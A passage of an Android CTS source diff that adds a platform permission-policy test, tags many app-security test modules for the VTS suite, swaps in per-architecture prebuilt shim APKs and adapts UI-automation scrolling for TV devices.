+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permission.policy;
+
+import static junit.framework.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.support.test.InstrumentationRegistry;
+import org.junit.Test;
+
+/**
+ * Tests for the platform permission policy around apps targeting API 25
+ */
+public class PermissionPolicyTest25 {
+    private static final String PLATFORM_PACKAGE_NAME = "android";
+
+    @Test
+    public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions() throws Exception {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final PackageInfo platformPackage = context.getPackageManager()
+                .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
+        String errorMessage = null;
+        for (PermissionInfo declaredPermission : platformPackage.permissions) {
+            PermissionInfo permissionInfo = context.getPackageManager()
+                    .getPermissionInfo(declaredPermission.name, 0);
+            final int protectionLevel = permissionInfo.protectionLevel
+                    & (PermissionInfo.PROTECTION_NORMAL
+                    | PermissionInfo.PROTECTION_DANGEROUS
+                    | PermissionInfo.PROTECTION_SIGNATURE);
+            final int protectionFlags = permissionInfo.protectionLevel & ~protectionLevel;
+            if (protectionLevel == PermissionInfo.PROTECTION_NORMAL && protectionFlags != 0) {
+                errorMessage += "\nCannot add protection flags: "
+                        + protectionFlagsToString(permissionInfo.protectionLevel)
+                        + " to a normal protection permission: " + permissionInfo.name;
+            }
+            if (protectionLevel == PermissionInfo.PROTECTION_DANGEROUS && protectionFlags != 0) {
+                errorMessage += "\nCannot add protection flags: "
+                        + protectionFlagsToString(permissionInfo.protectionLevel)
+                        + " to a dangerous protection permission: " + permissionInfo.name;
+            }
+        }
+        if (errorMessage != null) {
+            fail(errorMessage);
+        }
+    }
+
+    private static String protectionFlagsToString(int protectionLevel) {
+        String flagsToString = "";
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "runtimeOnly" : "|runtimeOnly";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "ephemeral" : "|ephemeral";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTANT;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_APPOP) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "appop" : "|appop";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_APPOP;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_DEVELOPMENT) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "development" : "|development";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTALLER) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "installer" : "|installer";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTALLER;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRE23) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "pre23" : "|pre23";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRE23;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "privileged" : "|privileged";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRIVILEGED;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PREINSTALLED) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "preinstalled" : "|preinstalled";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PREINSTALLED;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SYSTEM) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "system" : "|system";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SYSTEM;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SETUP) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "setup" : "|setup";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SETUP;
+        }
+        if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_VERIFIER) != 0) {
+            flagsToString += flagsToString.isEmpty() ? "verifier" : "|verifier";
+            protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_VERIFIER;
+        }
+        protectionLevel &= ~(PermissionInfo.PROTECTION_NORMAL
+                | PermissionInfo.PROTECTION_DANGEROUS
+                | PermissionInfo.PROTECTION_SIGNATURE);
+        if (protectionLevel != 0) {
+            flagsToString += flagsToString.isEmpty() ? Integer.toHexString(protectionLevel)
+                    : "|" + Integer.toHexString(protectionLevel);
+        }
+        return flagsToString;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 199e429..e86fae9 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := current
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_DEX_PREOPT := false
 LOCAL_PACKAGE_NAME := CtsPrivilegedUpdateTests
@@ -46,9 +46,11 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_SRC_FILES := CtsShimPrivUpgrade.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgrade.apk
 
 include $(BUILD_PREBUILT)
 
@@ -63,8 +65,10 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_SRC_FILES := CtsShimPrivUpgradeWrongSHA.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgradeWrongSHA.apk
 
 include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
deleted file mode 100644
index a277907..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
deleted file mode 100644
index a40f791..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..23df503
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..11f8674
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..fc9f02e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..bf49682
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index d265b5b..4f828ad 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsReadExternalStorageApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 3437b2f..22464bd 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSharedUidInstall
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with a different cert than CtsSharedUidInstallDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index 47b066a..a73d0fc 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with a different cert than CtsSharedUidInstall
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index 9309f17..7180a10 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with a different cert than CtsSimpleAppInstallDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index fe69246..bcd8a4e 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with a different cert than CtsSimpleAppInstall
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index f844a78..9341949 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
 
@@ -56,7 +56,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -83,7 +83,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -109,7 +109,7 @@
 LOCAL_PACKAGE_SPLITS := v7
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index 0603cc7..a248b71 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 featureOf := CtsSplitApp
 featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index e495ad3..fbc7143 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -24,6 +24,6 @@
 LOCAL_LDLIBS += -llog
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index fddee79..bad39fb 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index cddda28..9951098 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 9b67d24..f6efcd6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index aed7253..aa2de06 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 7798a0c..cd4eafc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index 8f604d3..2d7d008 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index cf3dca1..291a3c6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_JAVA_RESOURCE_DIRS := raw
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index aa75be7..f3d7d35 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsStorageAppA
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index c335f23..5f85459 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PACKAGE_NAME := CtsStorageAppB
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index 173deb5..b5c30fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PACKAGE_NAME := CtsStorageStatsApp
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_DEX_PREOPT := false
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index c3da07a..fea0878 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # sign this app with different cert than CtsInstrumentationAppDiffCert
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index 8e51f22..2b6c2b0 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -23,8 +23,9 @@
     android-support-test \
     compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
@@ -34,7 +35,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp22
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 5e623d8..305359c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -23,8 +23,9 @@
     android-support-test \
     compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -32,7 +33,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionApp23
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 0b19bab..d0ca617 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.usepermission;
 
 import static junit.framework.Assert.assertEquals;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -34,7 +35,6 @@
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
-import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObject2;
@@ -44,9 +44,12 @@
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
-import android.widget.Switch;
+import android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction;
 import android.widget.ScrollView;
+import android.widget.Switch;
+
 import junit.framework.Assert;
+
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
@@ -433,23 +436,35 @@
 
     private static void scroll(AccessibilityNodeInfo node, boolean forward) throws Exception {
         getInstrumentation().getUiAutomation().executeAndWaitForEvent(
-                () -> node.performAction(forward
-                        ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
-                        : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD),
+                () -> {
+                    if (isTv()) {
+                        if (forward) {
+                            getUiDevice().pressDPadDown();
+                        } else {
+                            for (int i = 0; i < 50; i++) {
+                                getUiDevice().pressDPadUp();
+                            }
+                        }
+                    } else {
+                        node.performAction(forward
+                                ? AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
+                                : AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD);
+                    }
+                },
                 (AccessibilityEvent event) -> event.getEventType()
-                        == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+                        == AccessibilityEvent.TYPE_VIEW_SCROLLED
+                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
                 GLOBAL_TIMEOUT_MILLIS);
         node.refresh();
         waitForIdle();
     }
 
-
     private static void click(AccessibilityNodeInfo node) throws Exception {
         getInstrumentation().getUiAutomation().executeAndWaitForEvent(
                 () -> node.performAction(AccessibilityNodeInfo.ACTION_CLICK),
                 (AccessibilityEvent event) -> event.getEventType()
                         == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
-                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED,
+                        || event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED,
                 GLOBAL_TIMEOUT_MILLIS);
     }
 
